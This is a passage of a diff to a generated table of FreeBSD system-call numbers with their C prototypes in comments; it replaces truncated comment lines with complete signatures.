-- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime( \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, \
-- SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-- SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, \
-- SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct \
-- SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-- SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-- SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( \
-- SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( \
-- SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,\
-- SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, \
-- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, \
-- SYS_ISSETUGID = 253 // { int issetugid(void); }
-- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-- SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, \
-- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-- SYS_LUTIMES = 276 // { int lutimes(char *path, \
-- SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-- SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-- SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-- SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, \
-- SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, \
-- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, \
-- SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, \
-- SYS_MODNEXT = 300 // { int modnext(int modid); }
-- SYS_MODSTAT = 301 // { int modstat(int modid, \
-- SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-- SYS_MODFIND = 303 // { int modfind(const char *name); }
-- SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-- SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-- SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-- SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-- SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct \
-- SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-- SYS_GETSID = 310 // { int getsid(pid_t pid); }
-- SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, \
-- SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, \
-- SYS_YIELD = 321 // { int yield(void); }
-- SYS_MLOCKALL = 324 // { int mlockall(int how); }
-- SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-- SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-- SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, \
-- SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct \
-- SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int \
-- SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-- SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-- SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-- SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-- SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, \
-- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, \
-- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, \
-- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, \
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, \
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, \
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( \
-- SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-- SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, \
-- SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, \
-- SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, \
-- SYS___SETUGID = 374 // { int __setugid(int flag); }
-- SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-- SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, \
-- SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-- SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-- SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, \
-- SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, \
-- SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, \
-- SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, \
-- SYS_KENV = 390 // { int kenv(int what, const char *name, \
-- SYS_LCHFLAGS = 391 // { int lchflags(const char *path, \
-- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, \
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, \
-- SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, \
-- SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, \
-- SYS_STATFS = 396 // { int statfs(char *path, \
-- SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, \
-- SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, \
-- SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, \
-- SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, \
-- SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( \
-- SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( \
-- SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( \
-- SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, \
-- SYS_SIGACTION = 416 // { int sigaction(int sig, \
-- SYS_SIGRETURN = 417 // { int sigreturn( \
-- SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-- SYS_SETCONTEXT = 422 // { int setcontext( \
-- SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, \
-- SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-- SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, \
-- SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, \
-- SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, \
-- SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, \
-- SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, \
-- SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, \
-- SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-- SYS_THR_SELF = 432 // { int thr_self(long *id); }
-- SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-- SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
-- SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
-- SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-- SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, \
-- SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( \
-- SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( \
-- SYS_THR_SUSPEND = 442 // { int thr_suspend( \
-- SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-- SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-- SYS_AUDIT = 445 // { int audit(const void *record, \
-- SYS_AUDITON = 446 // { int auditon(int cmd, void *data, \
-- SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-- SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-- SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-- SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-- SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( \
-- SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( \
-- SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-- SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, \
-- SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, \
-- SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-- SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-- SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-- SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, \
-- SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, \
-- SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, \
-- SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, \
-- SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, \
-- SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-- SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-- SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-- SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, \
-- SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-- SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-- SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, \
-- SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, \
-- SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, \
-- SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, \
-- SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, \
-- SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, \
-- SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, \
-- SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, \
-- SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, \
-- SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, \
-- SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, \
-- SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-- SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, \
-- SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, \
-- SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, \
-- SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, \
-- SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-- SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-- SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, \
-- SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, \
-- SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-- SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-- SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-- SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, \
-- SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-- SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-- SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-- SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-- SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-- SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, \
-- SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, \
-- SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-- SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, \
-- SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, \
-- SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, \
-- SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, \
-- SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, \
-- SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, \
-- SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, \
-- SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, \
-- SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, \
-- SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, \
-- SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, \
-- SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, \
-- SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, \
-- SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, \
-- SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, \
-- SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, \
-- SYS_ACCEPT4 = 541 // { int accept4(int s, \
-- SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-- SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, \
-- SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, \
-- SYS_FUTIMENS = 546 // { int futimens(int fd, \
-- SYS_UTIMENSAT = 547 // { int utimensat(int fd, \
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
